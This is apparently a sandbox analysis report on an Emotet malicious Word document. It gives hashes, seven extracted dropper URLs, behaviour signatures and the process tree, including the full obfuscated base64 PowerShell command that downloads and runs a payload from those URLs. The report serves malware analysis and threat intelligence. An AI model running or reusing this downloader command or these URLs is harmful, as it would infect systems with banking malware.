Analysis

  • max time kernel
    62s
  • max time network
    11s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    01/10/2020, 10:29

General

  • Target
    emotet_e1_d715bda5d2e632bfb25580ae2bdb209385eb4a96696b866967545a958542c3d8_2020-10-01__102627364621._doc.doc
  • Size 151KB
  • Sample201001-eet75l5dha
  • SHA256 d715bda5d2e632bfb25580ae2bdb209385eb4a96696b866967545a958542c3d8
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://blog.zunapro.com/wp-admin/i/

  • exe.dropper

    http://brycebrumley.com/wp-admin/IR/

  • exe.dropper

    http://electronicsvibes.com/wp-includes/A9n/

  • exe.dropper

    http://ashgroup.org/wp-snapshots/Ap/

  • exe.dropper

    https://beu-hr.com/9gqqi5eat/K2y/

  • exe.dropper

    https://manhtien.net/wp-includes/Tw3/

  • exe.dropper

    http://pattanitkpark.com/gipe2h/BIY/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_d715bda5d2e632bfb25580ae2bdb209385eb4a96696b866967545a958542c3d8_2020-10-01__102627364621._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1088
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABGAHgAawB6AHoAYwBhAD0AKAAnAFgAMQAnACsAJwBpACcAKwAoACcAdQAnACsAJwAxADQAawAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAVQBTAGUAcgBwAFIATwBGAEkAbABlAFwAbAA0AHoAMgBSAHYAXwBcAHcAbgB4AFUAegBoAFkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAHUAcgBpAFQAYABZAGAAcABSAGAAbwBUAE8AYABjAE8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzACcAKQArACgAJwAxADIALAAnACsAJwAgAHQAbABzACcAKwAnADEAMQAsACcAKwAnACAAJwApACsAJwB0AGwAJwArACcAcwAnACkAOwAkAFYAcgBxAHcAdABrAGUAIAA9ACAAKAAnAFYANAAnACsAKAAnADgAJwArACcAZwB4ACcAKQArACcAMABhACcAKQA7ACQAQgA2ADAAaQBqAHIAYQA9ACgAKAAnAFUAOQAnACsAJwBvACcAKQArACgAJwA4ACcAKwAnAF8AcQAnACkAKwAnADMAJwApADsAJABOAGIAbgA0AHcAOABiAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAoACcAZAAnACsAJwBXADcAJwApACsAKAAnAEwANAAnACsAJwB6ADIAcgAnACkAKwAnAHYAXwAnACsAKAAnAGQAVwAnACsAJwA3AFcAbgB4ACcAKQArACgAJwB1AHoAaAB5AGQAVwAnACsAJwA3ACcAKQApAC4AIgByAGUAUABsAGAAQQBjAEUAIgAoACgAJwBkAFcAJwArACcANwAnACkALABbAHMAVABSAEkATgBHAF0AWwBjAEgAYQByAF0AOQAyACkAKQArACQAVgByAHEAdwB0AGsAZQArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQAVQA3ADUAMwBtAHAANAA9ACgAKAAnAEMAaQAxACcAKwAnADcAawAnACkAKwAnAHMANgAnACkAOwAkAFYAOABlADUAMgBiADcAPQAuACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAEkARQBOAFQAOwAkAFIAOQBwAGIAYQBnAG8APQAoACgAJwBoAHQAJwArACcAdABwADoAJwApACsAJwAvACcAKwAoACcALwBiAGwAJwArACcAbwBnACcAKwAnAC4AegAnACkAKwAoACcAdQAnACsAJwBuAGEAcAByAG8ALgAnACkAKwAoACcAYwBvAG0ALwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwArACcAaQAvACoAJwApACsAJwBoACcAKwAoACcAdAB0ACcAKwAnAHAAOgAvAC8AYgByAHkAJwArACcAYwAnACkAKwAnAGUAYgAnACsAKAAnAHIAdQBtAGwAJwArACcAZQB5AC4AYwBvACcAKwAnAG0ALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AJwArACcAaQBuAC8ASQBSAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcAAnACsAJwA6AC8ALwBlAGwAJwApACsAKAAnAGUAYwAnACsAJwB0AHIAJwApACsAKAAnAG8AbgBpAGMAJwArACcAcwB2ACcAKQArACgAJwBpAGIAZQBzAC4AJwArACcAYwBvAG0ALwAnACsAJwB3AHAALQBpAG4AYwAnACsAJwBsACcAKwAnAHUAZABlAHMAJwArACcALwAnACkAKwAoACcAQQA5AG4ALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AYQAnACsAJwBzAGgAZwByACcAKwAnAG8AdQBwACcAKQArACgAJwAuACcAKwAnAG8AcgBnACcAKQArACcALwB3ACcAKwAoACcAcAAtAHMAbgAnACsAJwBhAHAAJwApACsAKAAnAHMAaABvACcAKwAnAHQAJwApACsAKAAnAHMALwBBAHAAJwArACcALwAnACkAKwAnACoAJwArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAAnACsAJwBzADoALwAvAGIAZQB1ACcAKQArACcALQAnACsAKAAnAGgAJwArACcAcgAuAGMAbwBtACcAKwAnAC8AOQBnAHEAJwArACcAcQBpACcAKQArACcANQAnACsAKAAnAGUAJwArACcAYQB0AC8AJwApACsAKAAnAEsAJwArACcAMgB5AC8AJwArACcAKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAnACsAJwAvAG0AYQAnACkAKwAoACcAbgBoAHQAJwArACcAaQBlAG4AJwArACcALgBuACcAKQArACgAJwBlAHQALwB3ACcAKwAnAHAALQBpAG4AYwBsACcAKwAnAHUAZABlACcAKwAnAHMALwBUACcAKwAnAHcAMwAnACsAJwAvACcAKQArACcAKgAnACsAJwBoAHQAJwArACgAJwB0AHAAOgAvAC8AJwArACcAcABhAHQAdABhAG4AJwArACcAaQB0ACcAKQArACcAawAnACsAKAAnAHAAYQAnACsAJwByAGsALgAnACkAKwAoACcAYwBvAG0ALwBnACcAKwAnAGkAJwApACsAKAAnAHAAZQAyACcAKwAnAGgAJwApACsAJwAvACcAKwAnAEIAJwArACgAJwBJAFkAJwArACcALwAnACkAKQAuACIAcwBwAEwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAG0AdwA1AGQAMwB0AD0AKAAoACcAUwAnACsAJwB3ACcAKwAnADMANABvAG8AJwApACsAJwBwACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAMABqAG0AMABsAHoAIABpAG4AIAAkAFIAOQBwAGIAYQBnAG8AKQB7AHQAcgB5AHsAJABWADgAZQA1ADIAYgA3AC4AIgBEAG8AdwBuAGwAbwBgAEEAYABkAGYAYABJAEwARQAiACgAJABSADAAagBtADAAbAB6ACwAIAAkAE4AYgBuADQAdwA4AGIAKQA7ACQAQgB0AG8AMgBlAGoAdwA9ACgAKAAnAEEAJwArACcAOABmACcAKQArACgAJwBiACcAKwAnADMAZQAnACkAKwAnAG0AJwApADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQAnACsAJwB0AGUAbQAnACkAIAAkAE4AYgBuADQAdwA4AGIAKQAuACIAbABgAGUAbgBHAHQAaAAiACAALQBnAGUAIAAyADUANwA3ADUAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQATgBiAG4ANAB3ADgAYgApADsAJABEAGwAeQA1ADkAagBfAD0AKAAoACcASwAnACsAJwBjADEAeQAnACkAKwAoACcAYQAnACsAJwB4AHoAJwApACkAOwBiAHIAZQBhAGsAOwAkAEkANQAyAGQAZQBlAG0APQAoACcAWgAnACsAKAAnADQAaAB4ACcAKwAnAHIAegAnACkAKwAnAHUAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABNADEAagBkADIAdgBlAD0AKAAoACcASwBvADIAJwArACcAaAA4ACcAKQArACcAXwBhACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Drops file in System32 directory
    PID:1628

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1088-2-0x0000000008A80000-0x0000000008A84000-memory.dmp

        memory/1088-3-0x0000000006F50000-0x0000000007150000-memory.dmp

        memory/1088-4-0x0000000006F50000-0x0000000007150000-memory.dmp

        memory/1088-5-0x0000000006F50000-0x0000000007150000-memory.dmp

        memory/1088-6-0x0000000006F50000-0x0000000007150000-memory.dmp

        memory/1088-7-0x0000000006F50000-0x0000000007150000-memory.dmp

        memory/1628-8-0x000007FEEEE80000-0x000007FEEF86C000-memory.dmp

        memory/1628-9-0x0000000002270000-0x0000000002271000-memory.dmp